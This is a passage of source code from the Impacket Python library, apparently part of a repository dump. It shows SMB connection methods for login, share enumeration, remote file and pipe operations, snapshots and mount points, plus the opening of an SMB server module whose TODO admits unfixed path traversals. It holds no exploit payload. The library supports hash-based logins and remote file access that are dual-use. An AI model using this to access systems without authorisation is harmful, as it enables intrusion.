                                                TGT, TGS)\n                return self._SMBConnection.kerberosLogin(user, password, domain, lmhash, nthash, aesKey, kdcHost, TGT,\n                                                         TGS)\n            except (smb.SessionError, smb3.SessionError) as e:\n                raise SessionError(e.get_error_code(), e.get_error_packet())\n            except KerberosError as e:\n                if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:\n                    # We might face this if the target does not support AES.\n                    # So, if that's the case we'll force using RC4 by converting\n                    # the password to lm/nt hashes and hope for the best. \n                    # If that's already done, byebye.\n                    if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None:\n                        lmhash = compute_lmhash(password)\n                        nthash = compute_nthash(password)\n                    else:\n                        raise e\n                else:\n                    raise e\n\n    def isGuestSession(self):\n        try:\n            return self._SMBConnection.isGuestSession()\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def logoff(self):\n        try:\n            return self._SMBConnection.logoff()\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def connectTree(self, share):\n        \"\"\"\n        Connect to a remote share / resource (tree).\n        \n        :return int: Tree ID (used later in other operations).\n        \"\"\"\n        if self.getDialect() == smb.SMB_DIALECT:\n            # If we already have a UNC we do nothing.\n            if ntpath.ismount(share) is False:\n                # Else we build it\n                share = ntpath.basename(share)\n                share = '\\\\\\\\' + self.getRemoteHost() + '\\\\' + share\n        try:\n            return self._SMBConnection.connect_tree(share)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def disconnectTree(self, treeId):\n        try:\n            return self._SMBConnection.disconnect_tree(treeId)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def listShares(self):\n        \"\"\"\n        Get a list of available shares at the connected target.\n\n        :return: List containing dict entries for each share.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        # Get the shares through RPC\n        from impacket.dcerpc.v5 import transport, srvs\n        rpctransport = transport.SMBTransport(self.getRemoteName(), self.getRemoteHost(), filename=r'\\srvsvc',\n                                              smb_connection=self)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(srvs.MSRPC_UUID_SRVS)\n        resp = srvs.hNetrShareEnum(dce, 1, serverName=\"\\\\\\\\\" + self.getRemoteHost())\n        return resp['InfoStruct']['ShareInfo']['Level1']['Buffer']\n\n    def listPath(self, shareName, path, password = None):\n        \"\"\"\n        List the files/directories under shareName/path.\n\n        :param str shareName: A valid name for the share where the files/directories are going to be searched.\n        :param str path: A base path relative to shareName.\n        :param optional str password: The password for the share.\n\n        :return: List containing smb.SharedFile items.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        try:\n            return self._SMBConnection.list_path(shareName, path, password)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL,\n                   shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n                   creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF,\n                   fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=smb3structs.SMB2_IL_IMPERSONATION, securityFlags=0,\n                   oplockLevel=smb3structs.SMB2_OPLOCK_LEVEL_NONE, createContexts=None):\n        \"\"\"\n        Creates a remote file, returning a handle to it.\n\n        :param HANDLE treeId: A valid handle for the share where the file is to be created.\n        :param str pathName: The path name of the file to create.\n        :param optional int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx\n        :param optional int shareMode: Specifies the sharing mode for the open.\n        :param optional int creationOption: Specifies the options to be applied when creating or opening the file.\n        :param optional int creationDisposition: Defines the action the server MUST take if the file that is specified in the name\n                                                 field already exists.\n        :param optional int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, \n                                            and MUST NOT include any values other than those specified in that section.\n        :param optional int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing \n                                                the create request.\n        :param optional int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, \n                                           and the server MUST ignore it.\n        :param optional int oplockLevel: The requested oplock level.\n        :param optional createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response \n                                        that either gives extra information about how the create will be processed, or returns extra\n                                        information about how the create was processed.\n\n        :return: A valid file descriptor.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        if self.getDialect() == smb.SMB_DIALECT:\n            _, flags2 = self._SMBConnection.get_flags()\n\n            pathName = pathName.replace('/', '\\\\')\n            packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName\n\n            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)\n            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()\n            ntCreate['Data']       = smb.SMBNtCreateAndX_Data(flags=flags2)\n            ntCreate['Parameters']['FileNameLength']= len(packetPathName)\n            ntCreate['Parameters']['AccessMask']    = desiredAccess\n            ntCreate['Parameters']['FileAttributes']= fileAttributes\n            ntCreate['Parameters']['ShareAccess']   = shareMode\n            ntCreate['Parameters']['Disposition']   = creationDisposition\n            ntCreate['Parameters']['CreateOptions'] = creationOption\n            ntCreate['Parameters']['Impersonation'] = impersonationLevel\n            ntCreate['Parameters']['SecurityFlags'] = securityFlags\n            ntCreate['Parameters']['CreateFlags']   = 0x16\n            ntCreate['Data']['FileName'] = packetPathName\n\n            if flags2 & smb.SMB.FLAGS2_UNICODE:\n                ntCreate['Data']['Pad'] = 0x0\n\n            if createContexts is not None:\n                LOG.error(\"CreateContexts not supported in SMB1\")\n\n            try:\n                return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)\n            except (smb.SessionError, smb3.SessionError) as e:\n                raise SessionError(e.get_error_code(), e.get_error_packet())\n        else:\n            try:\n                return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,\n                                                  creationDisposition, fileAttributes, impersonationLevel,\n                                                  securityFlags, oplockLevel, createContexts)\n            except (smb.SessionError, smb3.SessionError) as e:\n                raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def openFile(self, treeId, pathName, desiredAccess = FILE_READ_DATA | FILE_WRITE_DATA, shareMode = FILE_SHARE_READ,\n                 creationOption = FILE_NON_DIRECTORY_FILE, creationDisposition = FILE_OPEN,\n                 fileAttributes = FILE_ATTRIBUTE_NORMAL, impersonationLevel = smb3structs.SMB2_IL_IMPERSONATION, securityFlags = 0,\n                 oplockLevel = smb3structs.SMB2_OPLOCK_LEVEL_NONE, createContexts = None):\n        \"\"\"\n        Opens a handle to a remote file.\n\n        :param HANDLE treeId: A valid handle for the share where the file is to be opened.\n        :param str pathName: The path name to open.\n        :param optional int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx\n        :param optional int shareMode: Specifies the sharing mode for the open.\n        :param optional int creationOption: Specifies the options to be applied when creating or opening the file.\n        :param optional int creationDisposition: Defines the action the server MUST take if the file that is specified in the name\n                                                 field already exists.\n        :param optional int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, \n                                            and MUST NOT include any values other than those specified in that section.\n        :param optional int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing \n                                                the create request.\n        :param optional int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, \n                                           and the server MUST ignore it.\n        :param optional int oplockLevel: The requested oplock level\n        :param optional createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response \n                                        that either gives extra information about how the create will be processed, or returns extra\n                                        information about how the create was processed.\n\n        :return: A valid file descriptor.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        if self.getDialect() == smb.SMB_DIALECT:\n            _, flags2 = self._SMBConnection.get_flags()\n\n            pathName = pathName.replace('/', '\\\\')\n            packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName\n\n            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)\n            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()\n            ntCreate['Data']       = smb.SMBNtCreateAndX_Data(flags=flags2)\n            ntCreate['Parameters']['FileNameLength']= len(packetPathName)\n            ntCreate['Parameters']['AccessMask']    = desiredAccess\n            ntCreate['Parameters']['FileAttributes']= fileAttributes\n            ntCreate['Parameters']['ShareAccess']   = shareMode\n            ntCreate['Parameters']['Disposition']   = creationDisposition\n            ntCreate['Parameters']['CreateOptions'] = creationOption\n            ntCreate['Parameters']['Impersonation'] = impersonationLevel\n            ntCreate['Parameters']['SecurityFlags'] = securityFlags\n            ntCreate['Parameters']['CreateFlags']   = 0x16\n            ntCreate['Data']['FileName'] = packetPathName\n\n            if flags2 & smb.SMB.FLAGS2_UNICODE:\n                ntCreate['Data']['Pad'] = 0x0\n\n            if createContexts is not None:\n                LOG.error(\"CreateContexts not supported in SMB1\")\n\n            try:\n                return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)\n            except (smb.SessionError, smb3.SessionError) as e:\n                raise SessionError(e.get_error_code(), e.get_error_packet())\n        else:\n            try:\n                return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption,\n                                                  creationDisposition, fileAttributes, impersonationLevel,\n                                                  securityFlags, oplockLevel, createContexts)\n            except (smb.SessionError, smb3.SessionError) as e:\n                raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def writeFile(self, treeId, fileId, data, offset = 0):\n        \"\"\"\n        Writes data to a remote file.\n\n        :param HANDLE treeId: A valid handle for the share where the file is to be written.\n        :param HANDLE fileId: A valid handle for the file.\n        :param str data: A buffer with the data to write.\n        :param optional int offset: An offset where to start writing the data.\n\n        :return: The amount of bytes successfully written.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.writeFile(treeId, fileId, data, offset)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def readFile(self, treeId, fileId, offset = 0, bytesToRead = None, singleCall = True):\n        \"\"\"\n        Reads data from a file.\n\n        :param HANDLE treeId: A valid handle for the share where the file is to be read.\n        :param HANDLE fileId: A valid handle for the file to be read.\n        :param optional int offset: An offset where to start reading the data.\n        :param optional int bytesToRead: The amount of bytes to attempt reading. \n                                         If None, it will attempt to read Dialect['MaxBufferSize'] bytes.\n        :param optional bool singleCall: If True it won't attempt to read all bytesToRead. \n                                         It will only make a single read call.\n\n        :return: The data read. Length of data read is not always bytesToRead.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        finished = False\n        data = b''\n        maxReadSize = self._SMBConnection.getIOCapabilities()['MaxReadSize']\n        if bytesToRead is None:\n            bytesToRead = maxReadSize\n        remainingBytesToRead = bytesToRead\n        while not finished:\n            if remainingBytesToRead > maxReadSize:\n                toRead = maxReadSize\n            else:\n                toRead = remainingBytesToRead\n            try:\n                bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead)\n            except (smb.SessionError, smb3.SessionError) as e:\n                if e.get_error_code() == nt_errors.STATUS_END_OF_FILE:\n                    toRead = b''\n                    break\n                else:\n                    raise SessionError(e.get_error_code(), e.get_error_packet())\n\n            data += bytesRead\n            if len(data) >= bytesToRead:\n                finished = True\n            elif len(bytesRead) == 0:\n                # End of the file achieved.\n                finished = True\n            elif singleCall is True:\n                finished = True\n            else:\n                offset += len(bytesRead)\n                remainingBytesToRead -= len(bytesRead)\n\n        return data\n\n    def closeFile(self, treeId, fileId):\n        \"\"\"\n        Closes a file handle.\n\n        :param HANDLE treeId: A valid handle for the share where the file is to be opened.\n        :param HANDLE fileId: A valid handle for the file/directory to be closed.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.close(treeId, fileId)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def deleteFile(self, shareName, pathName):\n        \"\"\"\n        Removes a file.\n\n        :param str shareName: A valid name for the share where the file is to be deleted.\n        :param str pathName: The path name to remove.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.remove(shareName, pathName)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n    \n    def getFile(self, shareName, pathName, callback, shareAccessMode = FILE_SHARE_READ,\n        mode = FILE_OPEN, offset = 0, password = None):\n        \"\"\"\n        Reads a remote file and sends the read data to a callback method.\n\n        :param str shareName: The name for the share where the file is to be retrieved.\n        :param str pathName: The path name to retrieve.\n        :param callback callback: A function called to write the contents read - the method receives bytes as an argument.\n        :param optional int shareAccessMode: Binary flags stating what file access permissions we would like to allow other \n                                             processes to have when accessing our opened file.\n        :param optional int mode: Binary flags indicating what file operation we expect to happen when we open our file.\n        :param optional int offset: An offset for reading data from the file (used like `seek`).\n        :param optional str password: A password for password protected files & shares (Not Implemented in SMBv3).\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.retr_file(shareName, pathName, callback, mode=mode, offset=offset, password=password, shareAccessMode=shareAccessMode)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def putFile(self, shareName, pathName, callback, shareAccessMode = FILE_SHARE_READ,\n        mode = FILE_OVERWRITE_IF, offset = 0, password = None):\n        \"\"\"\n        Uploads data read from a callback method to a remote file.\n\n        :param str shareName: The name for the share where the file is to be uploaded.\n        :param str pathName: The path name to upload.\n        :param callback callback: A function called to read the contents to be written - method should receive \n                                  length of data as a value and return bytes (in the requested amount) to write.\n        :param optional int shareAccessMode: Binary flags stating what file access permissions we would like to allow other \n                                             processes to have when accessing our opened file.\n        :param optional int mode: Binary flags indicating what file operation we expect to happen when we open our file.\n        :param optional int offset: An offset for writing data to the file (used like `seek`).\n        :param optional str password: A password for password protected files & shares (Not Implemented in SMBv3).\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.stor_file(shareName, pathName, callback, mode=mode, offset=offset, password=password, shareAccessMode=shareAccessMode)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def queryInfo(self, treeId, fileId, fileInfoClass = None):\n        \"\"\"\n        Queries the desired information class of an opened file/directory.\n\n        :param HANDLE treeId: A valid handle for the share where the file is to be queried.\n        :param HANDLE fileId: A valid handle for the file/directory to be queried.\n        :param optional int fileInfoClass: The desired file information class to query.\n\n        :return: An smb.SMBQueryFileStandardInfo structure if not given any file info class.\n                Otherwise, returns raw bytes - which can be converted into any file information struct by the user.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            if self.getDialect() == smb.SMB_DIALECT:\n                if not fileInfoClass:\n                    res = self._SMBConnection.query_file_info(treeId, fileId)\n                    return smb.SMBQueryFileStandardInfo(res)\n                else:\n                    res = self._SMBConnection.query_file_info(treeId, fileId, fileInfoClass=fileInfoClass)\n            else:\n                if not fileInfoClass:\n                    res = self._SMBConnection.queryInfo(treeId, fileId)\n                    return smb.SMBQueryFileStandardInfo(res)\n                else:\n                    res = self._SMBConnection.queryInfo(treeId, fileId, fileInfoClass=fileInfoClass)\n            return res\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n    \n    def setInfo(self, treeId, fileId, fileInfoClass, infoData):\n        \"\"\"\n        Set the given information data of the desired file information class onto the file/directory.\n\n        :param HANDLE treeId: A valid handle for the share where the file to be modified resides.\n        :param HANDLE fileId: A valid handle for the file/directory to be modified.\n        :param int fileInfoClass: The desired file information class to modify.\n        :param struct infoData: The desired file information data to set onto the file/directory.\n\n        :return: Underlying connection set info result.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            if self.getDialect() == smb.SMB_DIALECT:\n                return self._SMBConnection.set_file_info(treeId, fileId, fileInfoClass=fileInfoClass, file_info_data=infoData)\n            else:\n                return self._SMBConnection.setInfo(\n                    treeId,\n                    fileId,\n                    inputBlob = infoData,\n                    fileInfoClass = fileInfoClass,\n                )\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def createDirectory(self, shareName, pathName):\n        \"\"\"\n        Creates a directory.\n\n        :param str shareName: A valid name for the share where the directory is to be created.\n        :param str pathName: The path name or the directory to create.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.mkdir(shareName, pathName)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def deleteDirectory(self, shareName, pathName):\n        \"\"\"\n        Deletes a directory.\n\n        :param str shareName: A valid name for the share where directory is to be deleted.\n        :param str pathName: The path name or the directory to delete.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.rmdir(shareName, pathName)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def waitNamedPipe(self, treeId, pipeName, timeout = 5):\n        \"\"\"\n        Waits for a named pipe.\n\n        :param HANDLE treeId: A valid handle for the share where the pipe is.\n        :param str pipeName: The pipe name to check.\n        :param optional int timeout: Time to wait for an answer.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.waitNamedPipe(treeId, pipeName, timeout = timeout)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def transactNamedPipe(self, treeId, fileId, data, waitAnswer = True):\n        \"\"\"\n        Writes to a named pipe using a transaction command.\n\n        :param HANDLE treeId: A valid handle for the share where the pipe is.\n        :param HANDLE fileId: A valid handle for the pipe.\n        :param bytes data: A buffer with the data to write.\n        :param bool waitAnswer: Whether or not to wait for an answer.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.TransactNamedPipe(treeId, fileId, data, waitAnswer = waitAnswer)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def transactNamedPipeRecv(self):\n        \"\"\"\n        Reads from a named pipe using a transaction command.\n\n        :return: The data read from the remote pipe.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            return self._SMBConnection.TransactNamedPipeRecv()\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def writeNamedPipe(self, treeId, fileId, data, waitAnswer = True):\n        \"\"\"\n        Writes to a named pipe.\n\n        :param HANDLE treeId: A valid handle for the share where the pipe is.\n        :param HANDLE fileId: A valid handle for the pipe.\n        :param bytes data: A buffer with the data to write.\n        :param optional bool waitAnswer: Whether or not to wait for an answer.\n\n        :return: None\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        try:\n            if self.getDialect() == smb.SMB_DIALECT:\n                return self._SMBConnection.write_andx(treeId, fileId, data, wait_answer = waitAnswer, write_pipe_mode = True)\n            else:\n                return self.writeFile(treeId, fileId, data, 0)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def readNamedPipe(self, treeId, fileId, bytesToRead = None):\n        \"\"\"\n        Reads from a named pipe.\n\n        :param HANDLE treeId: A valid handle for the share where the pipe resides.\n        :param HANDLE fileId: A valid handle for the pipe.\n        :param optional int bytesToRead: The amount of data to read.\n\n        :return: The bytes read from the named pipe.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        try:\n            return self.readFile(treeId, fileId, bytesToRead = bytesToRead, singleCall = True)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n    \n    def listSnapshots(self, tid, path):\n        \"\"\"\n        Lists the VSS snapshots for the given directory on the remote share.\n\n        :param HANDLE tid: A vaild handle for the share where the path resides.\n        :param str path: A path of a directory to list the snapshots of.\n\n        :return list: List of snapshot identifiers.\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        # Verify we're under SMB2+ session\n        if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]:\n            raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED)\n\n        fid = self.openFile(tid, path, FILE_READ_DATA | FILE_READ_EA | FILE_READ_ATTRIBUTES | READ_CONTROL | SYNCHRONIZE,\n                            fileAttributes=None, creationOption=FILE_SYNCHRONOUS_IO_NONALERT,\n                            shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE)\n\n        # first send with maxOutputResponse=16 to get the required size\n        try:\n            snapshotData = smb3structs.SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, smb3structs.FSCTL_SRV_ENUMERATE_SNAPSHOTS,\n                                  flags=smb3structs.SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=16))\n        except (smb.SessionError, smb3.SessionError) as e:\n            self.closeFile(tid, fid)\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n        if snapshotData['SnapShotArraySize'] >= 52:\n            # now send an appropriate sized buffer\n            try:\n               snapshotData = smb3structs.SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, smb3structs.FSCTL_SRV_ENUMERATE_SNAPSHOTS,\n                                  flags=smb3structs.SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=snapshotData['SnapShotArraySize']+12))\n            except (smb.SessionError, smb3.SessionError) as e:\n               self.closeFile(tid, fid)\n               raise SessionError(e.get_error_code(), e.get_error_packet())\n\n        self.closeFile(tid, fid)\n        return list(filter(None, snapshotData['SnapShots'].decode('utf16').split('\\x00')))\n\n    def createMountPoint(self, tid, path, target):\n        \"\"\"\n        Creates a mount point at an existing directory\n\n        :param HANDLE tid: A vaild handle for the share where the path resides.\n        :param str path: A path to a directory at which to create mount point (must already exist).\n        :param str target: A target address of mount point.\n\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        # Verify we're under SMB2+ session\n        if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]:\n            raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED)\n\n        fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE,\n                            creationOption=FILE_OPEN_REPARSE_POINT)\n\n        if target.startswith(\"\\\\\"):\n            fixed_name  = target.encode('utf-16le')\n        else:\n            fixed_name  = (\"\\\\??\\\\\" + target).encode('utf-16le')\n\n        name        = target.encode('utf-16le')\n\n        reparseData = smb3structs.MOUNT_POINT_REPARSE_DATA_STRUCTURE()\n\n        reparseData['PathBuffer']           = fixed_name + b\"\\x00\\x00\" + name + b\"\\x00\\x00\"\n        reparseData['SubstituteNameLength'] = len(fixed_name)\n        reparseData['PrintNameOffset']      = len(fixed_name) + 2\n        reparseData['PrintNameLength']      = len(name)\n\n        self._SMBConnection.ioctl(tid, fid, smb3structs.FSCTL_SET_REPARSE_POINT, flags=smb3structs.SMB2_0_IOCTL_IS_FSCTL,\n                                  inputBlob=reparseData)\n\n        self.closeFile(tid, fid)\n\n    def removeMountPoint(self, tid, path):\n        \"\"\"\n        Removes a mount point without deleting the underlying directory.\n\n        :param HANDLE tid: A vaild handle for the share where the path resides.\n        :param str path: A path to a directory to remote a mount point from.\n\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        # Verify we're under SMB2+ session\n        if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]:\n            raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED)\n\n        fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE,\n                            creationOption=FILE_OPEN_REPARSE_POINT)\n\n        reparseData = smb3structs.MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE()\n\n        reparseData['DataBuffer'] = b\"\"\n\n        try:\n            self._SMBConnection.ioctl(tid, fid, smb3structs.FSCTL_DELETE_REPARSE_POINT, flags=smb3structs.SMB2_0_IOCTL_IS_FSCTL,\n                                      inputBlob=reparseData)\n        except (smb.SessionError, smb3.SessionError) as e:\n            self.closeFile(tid, fid)\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n        self.closeFile(tid, fid)\n\n    def rename(self, shareName, oldPath, newPath):\n        \"\"\"\n        Renames a file/directory.\n\n        :param str shareName: The name for the share where the files/directories are.\n        :param str oldPath: The old path name of the directory/file to rename.\n        :param str newPath: The new path name of the directory/file to rename.\n\n        :return: True\n        :raise SessionError: If encountered an error.\n        \"\"\"\n\n        try:\n            return self._SMBConnection.rename(shareName, oldPath, newPath)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def reconnect(self):\n        \"\"\"\n        Reconnects the SMB object based on the original options and credentials used. \n        Only exception is that manualNegotiate will not be honored.\n        Not only the connection will be created but also a login attempt using the original credentials and method (Kerberos, PtH, etc)\n\n        :return: True\n        :raise SessionError: If encountered an error.\n        \"\"\"\n        userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = self.getCredentials()\n        self.negotiateSession(self._preferredDialect)\n        if self._doKerberos is True:\n            self.kerberosLogin(userName, password, domain, lmhash, nthash, aesKey, self._kdcHost, TGT, TGS, self._useCache)\n        else:\n            self.login(userName, password, domain, lmhash, nthash, self._ntlmFallback)\n\n        return True\n\n    def setTimeout(self, timeout):\n        try:\n            return self._SMBConnection.set_timeout(timeout)\n        except (smb.SessionError, smb3.SessionError) as e:\n            raise SessionError(e.get_error_code(), e.get_error_packet())\n\n    def getSessionKey(self):\n        if self.getDialect() == smb.SMB_DIALECT:\n            return self._SMBConnection.get_session_key()\n        else:\n            return self._SMBConnection.getSessionKey()\n\n    def setSessionKey(self, key):\n        if self.getDialect() == smb.SMB_DIALECT:\n            return self._SMBConnection.set_session_key(key)\n        else:\n            return self._SMBConnection.setSessionKey(key)\n\n    def setHostnameValidation(self, validate, accept_empty, hostname):\n        return self._SMBConnection.set_hostname_validation(validate, accept_empty, hostname)\n\n    def close(self):\n        \"\"\"\n        Logs off and closes the underlying _NetBIOSSession()\n\n        :return: None\n        \"\"\"\n        try:\n            self.logoff()\n        except:\n            pass\n        self._SMBConnection.close_session()\n\n    def getFileEx(self, shareName, pathName, callback,\n        mode = FILE_OPEN, offset = 0, password = None):\n        \"\"\"\n        retrieve regular files and also those locked with open (weak) handles by remote process ( #1894 )\n        \"\"\"\n        return self.getFile(shareName ,pathName ,callback ,shareAccessMode = FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,\n                               mode = mode, offset=offset, password = password )\n\nclass SessionError(Exception):\n    \"\"\"\n    This is the exception every client should catch regardless of the underlying SMB version used. \n    We'll take care of that. \n    NETBIOS exceptions are NOT included, since all SMB versions share the same NETBIOS instances.\n    \"\"\"\n    def __init__( self, error = 0, packet=0):\n        Exception.__init__(self)\n        self.error = error\n        self.packet = packet\n\n    def getErrorCode( self ):\n        return self.error\n\n    def getErrorPacket( self ):\n        return self.packet\n\n    def getErrorString( self ):\n        return nt_errors.ERROR_MESSAGES[self.error]\n\n    def __str__( self ):\n        key = self.error\n        if key in nt_errors.ERROR_MESSAGES:\n            error_msg_short = nt_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1]\n            return 'SMB SessionError: code: 0x%x - %s - %s' % (self.error, error_msg_short, error_msg_verbose)\n        else:\n            return 'SMB SessionError: unknown error code: 0x%x' % self.error\n"
  },
  {
    "path": "impacket/smbserver.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# TODO:\n#   [-] Functions should return NT error codes\n#   [-] Handling errors in all situations, right now it's just raising exceptions.\n#   [*] Standard authentication support\n#   [ ] Organize the connectionData stuff\n#   [*] Add capability to send a bad user ID if the user is not authenticated,\n#       right now you can ask for any command without actually being authenticated\n#   [ ] PATH TRAVERSALS EVERYWHERE.. BE WARNED!\n#   [ ] Check error situation (now many places assume the right data is coming)\n#   [ ] Implement IPC to the main process so the connectionData is on a single place\n#   [ ] Hence.. implement locking\n# estamos en la B\n\nimport calendar\nimport socket\nimport time\nimport datetime\nimport struct\nimport threading\nimport logging\nimport logging.config\nimport ntpath\nimport os\nimport fnmatch\nimport errno\nimport sys\nimport random\nimport shutil\nimport string\nimport hashlib\nimport hmac\n\nfrom binascii import unhexlify, hexlify, a2b_hex\nfrom impacket.dcerpc.v5 import epm, nrpc, transport\nfrom impacket.dcerpc.v5 import rpcrt\nfrom six import b, ensure_str\nfrom six.moves import configparser, socketserver\nfrom pyasn1.codec.der import encoder, decoder\n\n# For signing\nfrom impacket import smb, nmb, ntlm, uuid\nfrom impacket import smb3structs as smb2\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech, MechTypes, SPNEGO_NegTokenResp, ASN1_AID, \\\n    ASN1_SUPPORTED_MECH\nfrom impacket.krb5.asn1 import AP_REP, Authenticator, EncAPRepPart, EncTicketPart, GSSAPIHeader_KRB5_AP_REQ\nfrom impacket.krb5 import constants\nfrom impacket.krb5.crypto import 